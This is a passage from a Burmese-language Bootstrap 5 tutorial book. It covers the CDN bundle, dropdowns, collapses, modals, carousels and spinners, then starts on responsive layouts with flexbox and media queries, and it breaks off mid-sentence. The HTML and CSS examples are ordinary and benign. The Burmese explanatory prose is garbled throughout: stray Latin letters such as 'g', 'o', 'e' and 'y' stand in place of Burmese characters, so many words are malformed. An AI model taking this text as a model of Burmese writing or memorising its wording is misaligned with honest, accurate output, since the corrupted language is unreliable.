Setting ထဲက JS Section မှာ ထည့်ထားကြေပးလုိက်ရင် ရပါတယ်။ External Scripts မှာ ဒီလိပ်စာကို ထည့်
ကြေပးရမှာပါ။

https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/
bootstrap.bundle.min.js



PWD 2023 – အခန်း (၅) – Bootstrap JavaScript Components 124

Setting ထဲမှာ မထည့်yဲ HTML ကုဒ်ထဲမှာ ထည့်သံုးချင်ရင် အခုလုိထည့်လုိရ့ပါတယ်။

 HTML 

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/ 
dist/js/bootstrap.bundle.min.js"></script>

<script> Element ရဲ့ src Attribute တန်oုိးမှာ CDN oုိင်လိပ်စာကို ကြေပးလုိက်ရတာပါ။

oုိင်အမည်က bootstrap.bundle.min.js ပါ။  Bundle ဆိုတဲ့အသုံးအနှုန်း အကြေeကာင်းကြေလး ထည့်
ကြေgပာချင်ပါတယ်။  Bootstrap  အလုပ်လုပ်oုိအ့တွက်  အရင်  Bootstrap  Version  ကြေတွမှာ  JavaScript
Library  နှစ်ခုလုိပါတယ်။  jQuery  နဲ့  Popper  လုိ့ကြေခါ်eကတဲ့  နည်းပညာကြေတွပါ။  Bootstrap  5  မှာကြေတာ့
jQuery မလုိအပ်ကြေတာ့ပါyူး။ ဒါကြေပမယ့် Popper  ကြေတာ့ လုိပါကြေသးတယ်။ တစ်ကယ်တမ်း ထည့်မယ်ဆိုရင်
Popper  နဲ့  Bootstrap  ဆိုပြပီး oုိင်နှစ်ခု  ထည့်ရမှာပါ။ ဒီကြေတာ့မှ gပည့်စံုပြပီး အလုပ်လုပ်မှာပါ။ အ့ဲဒါကို  နှစ်ခု
ထည့်စရာမလုိyဲ  တစ်ခုထဲနဲ့  ပြပီးသွားကြေအာင်  Bootstrap  က  Bundle  ဆိုပြပီး  ကြေပါင်းကြေပးထားပါတယ်။  ဒါ
ကြေeကာင့် Bundle   oုိင်ကိုသုံးလုိက်ရင်   Bootstrap   အgပင်   Popper   ပါ တစ်ခါထဲ ပါဝင်သွားတယ်   လုိ့ နားလည်
ရမှာ goစ်ပါတယ်။ 

- https://getbootstrap.com/

Dropdowns
JavaScript  Component  ကြေတွထဲမှာ  ပထမဆံုးကြေလ့လာချင်တာကကြေတာ့  Dropdown  goစ်ပါတယ်။  နှိပ်
လုိက်ကြေတာ့မှ ကြေပါ်လာတဲ့ Menu ကြေလးကြေတွပါ။ နှိပ်ရတဲ့ခလုပ်အကြေနနဲ့ <button> <a> စသgoင့် ကြကိုက်တဲ့
Element နဲတ့ွဲသုံးလုိရ့ပါတယ်။ ဒါကြေeကာင့် သူ့ကို Menubar လုိ ကြေနရာမျ ို းမှာသာမက နှိပ်လုိက်မှကြေပါ်လာတဲ့
Menu လုိအပ်တဲ့ မည်သည့်ကြေနရာမှာမဆို သုံးလုိရ့ပါတယ်။ ကြေရးနည်းက ဒီလုိပါ -

https://getbootstrap.com/
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 HTML 

<div class="dropdown">
<button class="btn btn-primary dropdown-toggle" 

  data-bs-toggle="dropdown">Send Now</button>

<ul class="dropdown-menu">
<li><a href="#" class="dropdown-item">Send Now</a></li>
<li><a href="#" class="dropdown-item">Save Draft</a></li>
<li><a href="#" class="dropdown-item">Preview</a></li>

</ul>
</div>

သုံးရတဲ့  Class  နည်းနည်းများပါတယ်။  ပထမဆံုးအကြေနနဲ့  ပင်မ  Element  မှာ  dropdown Class  ကို
သတ်မှတ်ကြေပးရပါတယ်။  အထဲမှာ  ခလုပ်တစ်ခုနဲ့  List  တစ်ခုပါပါတယ်။  ခလုပ်အတွက်  dropdown-
toggle Class  ကို  သတ်မှတ်ကြေပးထားပြပီး  List  အတွက်  dropdown-menu ကို  သတ်မှတ်ကြေပးထားပါ
တယ်။ ပြပီးကြေတာ့မှ List ထဲက <a> Element ကြေတွမှာ dropdown-item Class ကို ကြေပးလုိက်ရင် gပည့်စံု
သွားပါပြပီ။ ဒါက အသွင်အgပင်ပဲ ရှိပါကြေသးတယ်။ တစ်ကယ် အလုပ်မလုပ်ကြေသးပါyူး။ နှိပ်လုိက်မှ ကြေပါ်လာတဲ့
အလုပ်ကို  လုပ်ကြေပးoုိအ့တွက်  data-bs-toggle=dropdown ဆိုတဲ့  Attribute  ကိုထည့်ကြေပးရပါ
တယ်။  Bootstrap  က  JavaScript  ကုဒ်ကြေတွ  ကြေရးစရာမလုိyဲ  JavaScript Component  ကြေတွကို  သုံးလုိ့
ရကြေအာင် လုပ်ကြေပးတယ်ဆိုတာ အ့ဲဒီလုိ  Attribute  ကြေတွနဲ့  လုပ်ကြေပးထားတာပါ။  ဒီ  Attribute  ပါရင်  ကိုယ်
yက်က  ကုဒ်ကြေတွထပ်ကြေရးကြေပးရာ  မလုိကြေတာ့yဲ၊  နှိပ်လုိက်ရင်  Dropdown  Menu  ကို  gပရမယ်ဆိုတာ
Bootstrap က သိသွားပါပြပီ။
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ရလဒ်နမူနာမှာ  <hr> Element  တစ်ခုကိုသံုးပြပီး  dropdown-divider Class  သတ်မှတ်ကြေပးထားတာ
ကိုလည်း သတိgပုပါ။ ဒီလုိ သတ်မှတ်ကြေပးထားတဲ့အတွက်  Menu  အတွင်းမှာ  Item  ကြေတွကို  ပုိင်းgခားပြပီး gပ
ကြေပးတာကို ကြေတွ့ ရပါမယ်။ ကြေနာက်တစ်ခုအကြေနနဲထ့ပ်စမ်းeကည့်ချင်ရင် Dark Menu ကိုစမ်းeကည့်ပါ။

ကျန်တဲ့ကုဒ်ကြေတွအတူတူပါပဲ  ခလုပ်က  btn-dark goစ်သွားပြပီး  Dropdown Menu  မှာ  dropdown-
menu-dark ဆိုတဲ့  Class  တစ်ခုထပ်ပါသွားတာပါ။  ဒီနည်းနဲ့  Bootstrap  ရဲ့  Dropdown
လုပ်ကြေဆာင်ချက်ကို Menubar ကြေတွ၊ Toolbar ကြေတွ၊ Form ကြေတွနဲ့ တgခားလုိအပ်တဲ့ ကြေနရာကြေတွမှာ ထည့်သုံး
လုိ့ ရပါတယ်။

Collapses
Collapse ကလည်း Dropdown နဲ့ ဆင်ပါတယ်။ သူလည်းပဲ နှိပ်လုိက်မှ ကြေပါ်လာမယ့် Component တစ်ခု
ပါပဲ။ Menu မဟုတ်ကြေတာ့yဲ ကြကိုက်တဲ့ Component နဲ့ တွဲသုံးရတာ goစ်သွားပါတယ်။ ဒီလုိပါ –
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 HTML 

<p>
<a class="btn btn-primary" data-bs-toggle="collapse" href="#item">

Link Button
</a>

</p>

<div class="collapse" id="item">
<div class="card card-body">

<h5 class="card-title"></h5>
<p>Some sample content</p>

</div>
</div>

နမူနာမှာ နှိပ်တဲ့ခလုပ်အကြေနနဲ့  <a> Element တစ်ခုကို သံုးထားပါတယ်။ href မှာ နှိပ်လုိက်ရင် gပရမယ့်
Element ရဲ့ ID ကို ကြေပးထားတာ သတိgပုပါ။ လုိအပ်ပါတယ်။ အကယ်၍ <a> အစား <button> ကိုသုံး
ချင်တယ်ဆိုရင်လည်း  ရပါတယ်။  Button  မှာ  href Attribute  မရှိကြေပမယ့်  data-bs-target
Attribute ကို အစားထုိးပြပီး သုံးနိုင်ပါတယ်။ နှိပ်လုိက်မှ ကြေပါ်လာကြေစချင်တဲ့  Element မှာ ID တစ်ခရုှိoုိလုိ့ပြပီး
ခလုပ်ကကြေန ညွှန်းထားတဲ့ ID နဲ့ တူoုိလုိ့ပါတယ်။ ပြပီးတဲ့အခါ collapse Class ကို သတ်မှတ်ကြေပးထားရမှာ
goစ်ပါတယ်။  အထဲမှာ  ကြကိုက်တာထည့်လုိ့  ရသွားပါပြပီ။  နမူနာမှာကြေတာ့  card တစ်ခုကိုထည့်gပထားပါ
တယ်။

သူ့မှာလည်း  JavaScript  လုပ်ကြေဆာင်ချက်ကို  ရရှိoုိအ့တွက်  data-bs-toggle Attribute  ကိုသုံးထား
တာ သတိgပုပါ။ Dropdown အတွက် data-bs-toggle ကို dropdown လုိသ့တ်မှတ်ကြေပးခဲ့ရသလုိပဲ
Collapse အတွက်ကြေတာ့ data-bs-toggle ကို collapse လုိသ့တ်မှတ်ကြေပးရgခင်း goစ်ပါတယ်။

စမ်းeကည့်လုိက်ရင် ရလဒ်က အခုလုိရရှိမှာ goစ်ပါတယ်။
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သူလည်းပဲ ကြေတာ်ကြေတာ်အသုံးဝင်ပါတယ်။ အတိုကြေကာက် Summary ကြေလးပဲ gပထားပြပီး ခလုပ်နှိပ်လုိက်ကြေတာ့
မှ Detail အgပည့်အစံု ကြေပါ်လာတယ် ဆိုတဲ့ လုပ်ကြေဆာင်ချက်မျ ို းက မeကာမeကာ လုိအပ်တတ်ပါတယ်။ အ့ဲဒီ
လုိ လုိအပ်လာတဲ့အခါ Collapse Components ကြေတွကို အသုံးgပုနိုင်မှာပါ။

Modals
ဆက်လက်ကြေလ့လာမှာကကြေတာ့ Modal Component goစ်ပါတယ်။ သူလည်းပဲ နှိပ်မှကြေပါ်မယ့် အရာတစ်ခုပါ
ပဲ။ သူကကြေတာ့ Dialog Box တစ်ခုအကြေနနဲ့ Page တစ်ခုလံုးကြေပါ်မှာ oုံးလွှမ်းပြပီး ကြေoာ်gပမယ့် လုပ်ကြေဆာင်ချက်
ပါ။ ကြေရးရမယ့်ကုဒ်ကြေတာ့ နည်းနည်းများပါတယ်။ များလွန်းလုိ့ မျက်စိမလည်ရကြေအာင် အတတ်နိုင်ဆံုး ကြေgပာ
gပကြေပးပါမယ်။ င်္ဂရုစိုက်eကည့်ကြေပးပါ။

 HTML 

<button class="btn btn-primary"
        data-bs-toggle="modal" 
        data-bs-target="#feedback">Show Modal</button>

<div class="modal" id="feedback">
    <div class="modal-dialog">
        <div class="modal-content">

            <div class="modal-header">
                <h5 class="modal-title">Feedback</h5>
                <button class="btn-close" 
                        data-bs-dismiss="modal"></button>

  </div>
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  <div class="modal-body">
<textarea class="form-control"></textarea>

  </div>

  <div class="modal-footer">
<button class="btn btn-secondary">

                     Send Feedback</button>
  </div>

</div>
</div>

</div>

data-bs-toggle မှာ  modal လုိသ့တ်မှတ်ထားတဲ့ခလုပ်တစ်ခုပါပါတယ်။  ဒါကြေeကာင့်သူ့ကိုနှိပ်ရင်
Modal  Dialog  ကို  gပကြေပးမှာပါ။  data-bs-target နဲ့  gပရမယ့်  Modal  ရဲ့  ID  ကိုညွှန်းကြေပးထားတာ
သတိgပုပါ။

ပြပီးတဲ့အခါ  Modal Dialog Component ကို ဆက်လက်ကြေရးသားပါတယ်။ Class ကို  modal  လုိသ့တ်မှတ်
ပြပီး အကြေပါ်ကခလုပ်မှာ ညွှန်းထားတဲ့ ID နဲ့ တူညီတဲ့ id ကိုကြေပးထားပါတယ်။ အထဲမှာကြေတာ့ (၃) ထပ်goစ်ကြေန
တာကို  ကြေတွ့ရပါလိမ့်မယ်။  modal-dialog → modal-content → modal-body တို့goစ်ပါ
တယ်။ modal-header နဲ့ modal-footer တိုက့ိုထည့်သုံးလုိ့ ရတဲ့အတွက် သံုးgပထားပါတယ်။

modal-header အတွင်းထဲမှာ ကြေခါင်းစဉ်အgoစ်ကြေoာ်gပကြေစလုိတဲ့  Element  ကို  modal-title Class
ကြေပးထားတာလည်း  သတိgပုပါ။  ပြပီးတဲအခါ  Close  Button  တစ်ခုလည်း  ပါပါကြေသးတယ်။  btn-close
Class  ကိုသုံးထားပြပီး နှိပ်လုိက်ရင်  Modal  ကို ပိတ်ကြေပးကြေစoုိအ့တွက်  data-bs-dismiss=modal လုိ့
လည်း သတ်မှတ်ထားပါကြေသးတယ်။ ဒါကြေeကာင့် နှိပ်လုိက်ရင် Modal ကို gပန်ပိတ်ကြေပးသွားမှာပဲgoစ်ပါတယ်။
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Modal  Body  ထဲမှာgပတဲ့  Content  ကကြေတာ့ ကိုယ်ကြကိုက်တာ gပလုိရ့ပါတယ်။ yာgoစ်ရမယ်ဆိုတဲ့  ကန့်
သတ်ချက်မျ ို းမရှိလုိ ့ကြကိုက်တဲ့ Component ကို ထည့်သုံးနိုင်ပါတယ်။ နမူနာမှာကြေတာ့ <textarea> တစ်
ခုကို ထည့်gပထားပါတယ်။ နှိပ်လုိက်လုိ့ကြေပါ်လာတဲ့အခါ ဒီအတိုင်းကြေပါ်မလာyဲ  Animation Effect  ကြေလးနဲ့
ကြေပါ်လာကြေစချင်ရင် fade Class ကိုသုံးနိုင်ပါတယ်။ ဒီလုိပါ – 

 HTML 

<button class="btn btn-primary"
        data-bs-toggle="modal" 
        data-bs-target="#feedback">Show Modal</button>

<div class="modal fade" id="feedback">
    …
</div>

ဒါဆိုရင်  Modal Dialog Box ကိုgပတဲ့အခါ Fade Effect ကိုသုံးကြေပးတဲ့အgပင် Box ကအကြေပါ်ကကြေန ကျလာ
တဲ့ပုံစံကြေလးနဲ ့gပကြေပးမှာgoစ်ပါတယ်။ ကိုယ်တိုင်သာ ထည့်ပြပီးစမ်းeကည့်လုိက်ပါ။
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Carousels
Carousel Components  ကိုကြေတာ့  Slideshow သကြေyာမျ ို း တစ်ခုပြပီးတစ်ခု ကြေgပာင်းgပတဲ့ လုပ်ကြေဆာင်ချက်
မျ ို း လုိအပ်တဲ့အခါ သံုးနိုင်ပါတယ်။ ကြေရးပုံကြေရးနည်းက ဒီလုိပါ – 

 HTML 

<div class="carousel slide" data-bs-ride="carousel">

<div class="carousel-inner">
<div class="carousel-item active">

<div class="bg-primary" style="height: 200px"></div>
</div>
<div class="carousel-item">

<div class="bg-success" style="height: 200px"></div>
</div>
<div class="carousel-item">

<div class="bg-warning" style="height: 200px"></div>
</div>

</div>

</div>

carousel → carousel-inner → carousel-item ဆိုပြပီးကြေတာ့  (၃)  ဆင့်ရှိပါတယ်။ ပင်မ
Element မှာပါတဲ့  slide ကကြေတာ့ Slide Effect အတွက်ပါ။ မထည့်လည်း ရပါတယ်။ မထည့်ရင် Effect
ပါမှာ  မဟုတ်ကြေတာ့ပါyူး။  carousel-item ထဲမှာကြေတာ့  နမူနာအကြေနနဲ့  Inline  Style  ကိုသုံးပြပီးကြေတာ့
height ကြေတွသတ်မှတ်ထားတဲ့ <div> အလွတ်ကြေတွ ကြေပးထားပါတယ်။ active Class ကိုသုံးပြပီး ပထမ
ဆံုးစကြေပါ်ကြေစချင်တဲ့ Slide Item ကိုသတ်မှတ်ထားတာကိုလည်း ကြေတွ့ ရမှာgoစ်ပါတယ်။

data-bs-ride=carousel Attribute  ကို သုံးထားတဲ့အတွက်  Slide Item ကြေတွကို  (၅)  စက္ကန့်eကာ
တိုင်း အလုိအကြေလျှာက် တစ်ခုကြေgပာင်းgပတဲ့လုပ်ကြေဆာင်ချက်ကို ရရှိသွားမှာ goစ်ပါတယ်။
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Slide ကြေတွ ကြေရှ့ကြေနာက်ကြေgပာင်းကြေစချင်ရင် ခလုပ်ကြေတွထည့်လုိရ့ပါတယ်။ ဒီလုိထည့်ရပါတယ်။

 HTML 

<div class="carousel slide" data-bs-ride="carousel" id="slide">
… 

<a href="#slide" class="carousel-control-prev" data-bs-slide="prev">
<span class="carousel-control-prev-icon"></span>

</a>

<a href="#slide" class="carousel-control-next" data-bs-slide="next">
<span class="carousel-control-next-icon"></span>

</a>
</div>

ပင်မ Element မှာ ID ပါသွားတာကို အရင်သတိgပုပါ။ ပြပီးတဲ့အခါ <a> Element ကြေတွနဲ့ အ့ဲဒီ ID ကိုချတိ်ပြပီး
Previous,  Next  ခလုပ်ကြေတွ  ထည့်ထားပါတယ်။  ခလုပ်ထဲမှာ  မျှားပံုကြေလးကြေတွ  ကြေပါ်ကြေစချင်တဲ့အတွက်
carousel-control Icon  ကြေတွကို ထည့်ကြေပးထားပါတယ်။ ခလုပ်ကြေတွကို  နှိပ်လုိက်ရင်  Slide  ကြေgပာင်း
ကြေစoုိအ့တွက် data-bs-slide Attribute ကိုသုံးကြေပးထားပါတယ်။

ဒီလုိ  Slide  Carousel  Component  ကြေတွမှာ  Indicator  ဆိုတဲ့လုပ်ကြေဆာင်ချက်လည်း  ပါကြေလ့ရှိပါတယ်။
လက်ရှိ yယ် Slide ကို ကြေရာက်ကြေနပြပီလဲဆိုတာကို gပကြေပးတဲ့ လုပ်ကြေဆာင်ချက်ပါ။ ဒီလုိထည့်ကြေပးရပါတယ်။
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 HTML 

<div class="carousel slide" data-bs-ride="carousel" id="slide">

<ol class="carousel-indicators">
<li data-bs-target="#slide" data-bs-slide-to="0" 
    class="active"></li>
<li data-bs-target="#slide" data-bs-slide-to="1"></li>
<li data-bs-target="#slide" data-bs-slide-to="2"></li>

</ol>

… 
</div>

နံပါတ်စဉ်  1, 2, 3  အစီအစဉ်အတိုင်းgပမယ့်သကြေyာမုိလုိ့့  <ol> Element ကိုသုံးထားပါတယ်။  <ul> သုံး
လည်း ရကြေတာ့ရပါတယ်။ carousel-indicators Class သတ်မှတ်ကြေပးပြပီး အထဲက <li> Element
ကြေတွမှာ  data-bs-target နဲ့  ID  ကို  ချတိ်ကြေပးရတာပါ။  သူတိုက့ို  နှိပ်ရင်လည်း  နှိပ်လုိရ့ကြေစoုိ့အတွက်
data-bs-slide-to နဲ ့နှိပ်လုိက်ရင် gပရမယ့် Slide နံပါတ်ကို သတ်မှတ်ကြေပးထားနိုင်ပါတယ်။

နမူနာရလဒ်မှာ ကြေရှ့ကြေနာက်  Previous, Next  သွားလုိရ့တဲ့ မျှားကြေလးကြေတွနဲ့ ကြေအာက်နားမှာ  Indicator  ကြေလး
ကြေတွကို ကြေတွ့ gမင်ရမှာgoစ်ပါတယ်။ အားလံုးက နှိပ်ရင်အလုပ်လုပ်တဲ့ လုပ်ကြေဆာင်ချက်ကြေလးကြေတွ goစ်ပါတယ်။
ကိုယ်တိုင်စမ်းသပ်ရတာ အဆင်ကြေgပကြေစoုိ ့ကုဒ်အgပည့်အစံုကို ထပ်ပြပီးကြေတာ့ ကြေoာ်gပကြေပးလုိက်ပါတယ်။
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 HTML 

<div class="carousel slide" data-bs-ride="carousel" id="slide">

<ol class="carousel-indicators">
<li data-bs-target="#slide" data-bs-slide-to="0" 
    class="active"></li>
<li data-bs-target="#slide" data-bs-slide-to="1"></li>
<li data-bs-target="#slide" data-bs-slide-to="2"></li>

</ol>

<div class="carousel-inner">
<div class="carousel-item active">

<div class="bg-primary" style="height: 200px"></div>
</div>
<div class="carousel-item">

<div class="bg-success" style="height: 200px"></div>
</div>
<div class="carousel-item">

<div class="bg-warning" style="height: 200px"></div>
</div>

</div>

<a href="#slide" class="carousel-control-prev" data-bs-slide="prev">
<span class="carousel-control-prev-icon"></span>

</a>
<a href="#slide" class="carousel-control-next" data-bs-slide="next">

<span class="carousel-control-next-icon"></span>
</a>

</div>

ကြေရးရတာများကြေပမယ့်  အားလံုးကသူ့အဓိပ္ပါယ်ကြေလးကြေတွနဲ့  သူမုိလုိ့့  မှတ်ရကြေတာ့  မခက်လှပါyူး။  ချက်gခင်း
အကုန်မှတ်မိoုိ့ မလွယ်ကြေပမယ့် နမူနာ နှစ်ခုသံုးခုကြေလာက် ကြေရးစမ်းလုိက်ရင်ကြေတာ့ မှတ်မိသွားမှာပါ။ အခုလုိ
gပည့်စံုတဲ့  လုပ်ကြေဆာင်ချက်တစ်ခုကို  ကိုယ့်yာသာလုပ်စရာမလုိyဲ၊  အလွယ်တစ်ကူ  အသံုးချခွင့်ရတာဟာ
ကြေတာ်ကြေတာ် အသုံးဝင်တာပါ။
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Spinners
ဒီအခန်းမှာ  ကြေoာ်gပချင်တဲ့  JavaScript  Component  ကြေတွထဲမှာ  ကြေနာက်ဆံုးတစ်ခုအကြေနနဲ့  Loading
Spinners  အကြေeကာင်းကို  eကည့်eကပါမယ်။ တစ်ခုခု  Loading  လုပ်ကြေနစဉ်မှာ အဝုိင်းကြေလး လည်ကြေနတာမျ ို း
ကို ကြေတွ့oူးeကပြပီးသားပါ။ Bootstrap မှာ အ့ဲဒီလုိ Spinner ကြေတွကို အလွယ်တစ်ကူ ထည့်လုိရ့ပါတယ်။

 HTML 

<span class="spinner-border text-primary"></span>
<span class="spinner-border text-success"></span>
<span class="spinner-border text-warning"></span>

spinner-border Class ကိုသုံးကြေပးလုိက်ရင် လုိချင်တဲ့ Spinner ရကြေနပါပြပီ။ အကြေရာင်ကြေgပာင်းချင်ရင်သာ
text-{color} Class  ကြေတွနဲ့  တွဲသုံးoုိ့  လုိတာပါ။ တစ်ကယ်ကြေတာ့သူက ကြေတာ်ကြေတာ်ရှင်းပါတယ်။  CSS
Components  ကြေတွထဲမှာ ထည့်ကြေgပာခဲ့ရင်ကြေတာင် ရပါတယ်။ ဒါကြေပမယ့်  JavaScript  နဲတ့ွဲအသုံးများလုိသ့ာ
အခုမှ ထည့်ကြေgပာလုိက်တာပါ။ 

နမူနာရလဒ်မှာ  <button> တစ်ခုနဲလ့ည်း  တွဲသံုးgပထားပါတယ်။  Button  ကို  နှိပ်လုိက်တဲ့အခါ အလုပ်
လုပ်ကြေနစဉ်  Button  ကို  Disable  ခဏလုပ်ပြပီး  Loading  gပeကတာ ထံုးစံမုိလုိ့ပ့ါ။  ဒါကြေeကာင့်  <button>
Element မှာ  disabled Attribute ပါတာကို သတိgပုပါ။  disabled Attribute  က Bootstrap နဲ့ မ
ဆိုင်ပါyူး။ HTML Attribute တစ်ခုgoစ်ပါတယ်။
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ပြပီးကြေတာ့  spinner-grow ဆိုတဲ့  အလားတူလုပ်ကြေဆာင်ချက်လည်း ရှိပါကြေသးတယ်။ သူကကြေတာ့ အဝုိင်း
ကြေလး လည်ကြေနတာ မဟုတ်ကြေတာ့yဲ အဝုိင်းကြေလးက ကြကီးလုိက်ကြေသးလုိက်နဲ့  Effect  ကိုကြေoာ်gပကြေပးမှာ goစ်ပါ
တယ်။

ဒီကြေလာက်ဆိုရင် အသံုးများမယ့် Components ကြေတွ စံုသကြေလာက် goစ်သွားပါပြပီ။ JavaScript Component
ကြေတွထဲမှာ  အသုံးဝင်ကြေပမယ့်  JavaScript  ကုဒ်တစ်ချ ို ့  မgoစ်မကြေန  ထည့်ကြေရးကြေပးoုိလုိ့တဲ့  လုပ်ကြေဆာင်ချက်
တစ်ချ ို ့ကြေတာ့  ကျန်ပါကြေသးတယ်။  ဒီအပုိင်းမှာ  JavaScript  အကြေeကာင်းကို  ထည့်မကြေgပာရကြေသးလုိ့  အ့ဲဒီ
လုပ်ကြေဆာင်ချက်ကြေတကွြေတာ့ ချန်ထားခဲ့လုိက်ပါတယ်။ 

ကြေနာက်တစ်ခန်းမှာ Layouts ကြေတွအကြေeကာင်း ဆက်လက်ကြေoာ်gပပါမယ်။
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အခန်း (၆) – Bootstrap Layouts

Bootstrap Layouts  အကြေeကာင်းမကြေgပာခင်  Responsive Web Design  လုိ့ကြေခါ်တဲ့  သကြေyာသyာဝတစ်ခု
အကြေeကာင်းကို အရင်ကြေgပာချင်ပါတယ်။ Responsive Web Design ဆိုတာ လုိရင်းအနှစ်ချုပ်ကကြေတာ့ Device
အရွယ်အစား  ကြေgပာင်းသွားရင်    Layout     က  အလုိအကြေလျှာက်  ကြေgပာင်းပြပီး  gပကြေပးနိုင်ကြေအာင်  oန်တီးတဲ့  
နည်းစနစ် goစ်ပါတယ်။ တစ်ခုနဲတ့စ်ခု အရွယ်အစားမတူeကတဲ့ Device ကြေတွမှာ ကိုယ့်ဝy်ဆိုက်နဲ ့App ကြေတွ
ကို  oွင့်လုိက်တဲ့အခါ  ကွန်ပျူတာအတွက်  လုပ်ထားလုိ့  oုန်းနဲ့eကည့်လုိမ့ရyူး၊  oုန်းအတွက်  လုပ်ထားလုိ့
Tablet နဲ့eကည့်လုိ့မရyူးဆိုတာမျ ို း မgoစ်ကြေစoုိအ့တွက်ပါ။ Layout ကြေလးတစ်ခု အခုလုိရှိတယ် ဆိုeကပါစို။့

 HTML 

<section>
  <nav></nav>
  <main></main>
  <aside></aside>
</section>

 CSS 

section {
    display: flex;
}
nav, main, aside {
    height: 400px;
    background: cyan;
    margin: 10px;
    flex-grow: 1;
}
main {
    flex-grow: 3;
}
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<section> ရဲ့အတွင်းထဲမှာ  <nav><main><aside> ဆိုပြပီး  Layout Element  ကြေတရွှိကြေနပါတယ်။
section ရဲ့  display ကို  flex လုိ့ကြေgပာထားတဲ့အတွက်  nav, main နဲ့  aside တိုက့ို  Column
Layout နဲ့gပကြေပးမှာပါ။  စမ်းeကည့်လုိက်ရင် ရလဒ်က ဒီလုိပါ –

အားလုံးအတွက် height, background, margin ကြေတွ ကိုယ်စီသတ်မှတ်ပြပီး flex-grow မှာ 1
လုိ့  ကြေgပာထားတဲ့အတွက်  ပထမ  width ကြေတွက  ရွယ်တူပါ။  ကြေနာက်မှ  main အတွက်  flex-grow
တန်oုိး  3  လုိ့  ကြေgပာင်းကြေပးလုိက်တဲ့အတွက် သူက သူများကြေတွရဲ့  (၃)  ဆgoစ်ကြေနတာပါ။ ဒါဟာ မeကာမeကာ
ကြေတွ့ ရတဲ့ 3 Columns Layout တစ်ခုပံုစံမျ ို းပါပဲ။

gပဿနာက၊  ဒီ  Layout  ဟာ  Screen  အရွယ်အစားကြကီးတဲ့ ကွန်ပျူတာကြေတွမှာ အဆင်ကြေgပကြေပမယ့်  Screen
အရွယ်အစားကြေသးတဲ့  Tablet  ကြေတ၊ွ oုန်းကြေတွမှာကြေတာ့ အဆင်ကြေgပမှာ မဟုတ်ပါyူး။ ဒါကြေeကာင့် အသုံးgပုတဲ့
Screen  ရဲ့  အရွယ်အစားကြေပါ်မူတည်ပြပီး  သင့်ကြေတာ်သလုိ  ကြေgပာင်းgပoုိ့လုိပါတယ်။  ဒီလုိကြေလး  ထပ်ထည့်
လုိက်ပါမယ်။
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 CSS 

@media (max-width: 800px) {
    section {
        flex-wrap: wrap;
    }
    aside {
        flex: 100%;
        height: 200px;
    }
}

Media Query လုိ့ကြေခါ်တဲ့ CSS ကြေရးထုံးကို သုံးလုိက်တာပါ။ @media ကိုသုံးပြပီးကြေတာ့ ကြေရးရပါတယ်။ max-
width မှာ 800px လုိ့ကြေgပာထားတဲ့အတွက် Screen Width အရွယ်အစား 800px ကြေအာက်ကြေရာက်ကြေတာ့မှ
ဒီ CSS ကြေတွ အလုပ်လုပ်မှာပါ။ ဒါကြေeကာင့် စမ်းeကည့်လုိက်ရင် အခုလုိရပါလိမ့်မယ်။

aside ရဲ့  flex တန်oုိး  100%  ဆိုကြေတာ့ သူ့တစ်ခုထဲ အgပည့်gပသွားတာပါ။ ဒီလုိgပတဲ့အခါ ကြေနာက်တစ်
လုိင်း ဆင်းပြပီးgပကြေစoုိအ့တွက်  section ရဲ့  flex-wrap ကို  wrap လုိ့ကြေgပာထားတာ goစ်ပါတယ်။ ဒါ
ကြေeကာင့် Table အရွယ်အစားကြေလာက်ဆိုရင် အဆင်ကြေgပသွားပါပြပီ။ ကွန်ပျူတာမှာ Column (၃) ခုနဲ့gပမှာgoစ်
ပြပီး Tablet မှာဆိုရင်ကြေတာ့ Column (၂) ခုနဲ့gပကြေပးသွားမှာ goစ်ပါတယ်။ Codepen ထဲမှာပဲ ရလဒ်ကြေoာ်gပတဲ့
ဧရိယာကို အကျဉ်းအကျယ် ကြေgပာင်းပြပီး စမ်းeကည့်နိုင်ပါတယ်။
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Tablet  အတွက်  အဆင်ကြေgပသွားကြေပမယ့်  oုန်းလုိ  Screen  အရမ်းကြေသးတဲ့အခါမှာကြေတာ့  အဆင်ကြေgပဦးမှာ
မဟုတ်ပါyူး။ ဒါကြေeကာင့် အခုလုိကြေလး ထပ်ထည့်ကြေပးလုိက်ပါမယ်။

 CSS 

@media (max-width: 500px) {
    nav, main, aside {
        flex: 100%;
        height: 200px;
    }
}

ဒီတစ်ခါကြေတာ့ Screen Width က 500px ကြေအာက်ဆိုရင် လုပ်ရမယ့် CSS ကြေတွကို ကြေပးထားတာပါ။

nav, main, aside အားလုံးကို  flex: 100% လုိ့ကြေgပာလုိက်တာပါ။  ဒါကြေeကာင့်  အgပည့်ကြေနရာ
ယူသွားတဲ့အတွက်  Column  ကြေတွ မရှိကြေတာ့ပါyူး။ အားလံုးကို အကြေပါ်ကြေအာက် တန်းစီပြပီးgပသွားလုိ့ oုန်းလုိ့
Screen ကြေသးတဲ့အခါမျ ို းမှာလည်း အဆင်ကြေgပသွားမှာပဲ goစ်ပါတယ်။

ဒီနည်းစနစ်ကို Responsive Web Design လုိ့ကြေခါ်eကတာပါ။ Screen Size   ကြေgပာင်းရင်   Layout   က အလုိအ  
ကြေလျှာက်   Respond   လုပ်ပြပီး ကြေoာ်gပပုံ ကြေgပာင်းကြေပးနိုင်တဲ့အတွက် goစ်ပါတယ်  ။



PWD 2023 – အခန်း (၆) – Bootstrap Layouts 141

Layout Size
ဒီကြေနရာမှာ  ကြေgပာစရာရှိလာတာက  အမျ ို းမျ ို းအoုံoုံ  ကွဲgပားကြေနeကတဲ့  Device  ကြေတွရဲ့  Size  ပါ။  Laptop
ကွန်ပျူတာကြေတွမှာ ၁၂ လက်မ၊ ၁၃ လက်မ၊ ၁၄ လက်မ၊ ၁၅ လက်မ၊ ၁၆ လက်မ၊ ၁၇ လက်မ စသgoင့်
အရွယ်အစား အမျ ို းမျ ို း ရှိeကသလုိ Desktop ကြေတွပါ ကြေပါင်းလုိက်ရင် ဒီထက်ပုိများပါဦးမယ်။ Tablet ဆိုရင်
လည်း  iPad, iPad Mini,  iPad Pro  စသgoင့် အမျ ို းမျ ို းရှိသလုိ့  Android Tablet  ကြေတွပါ  ကြေပါင်းလုိက်ရင်
အများကြကီး ရှိဦးမှာပါ။ oုန်းကြေတွမှာလည်း အတူတူပါပဲ။ ၄ လက်မ၊ ၅ လက်မ၊ ၆ လက်မ အမျ ို းမျ ို းရှိeကတာမှ
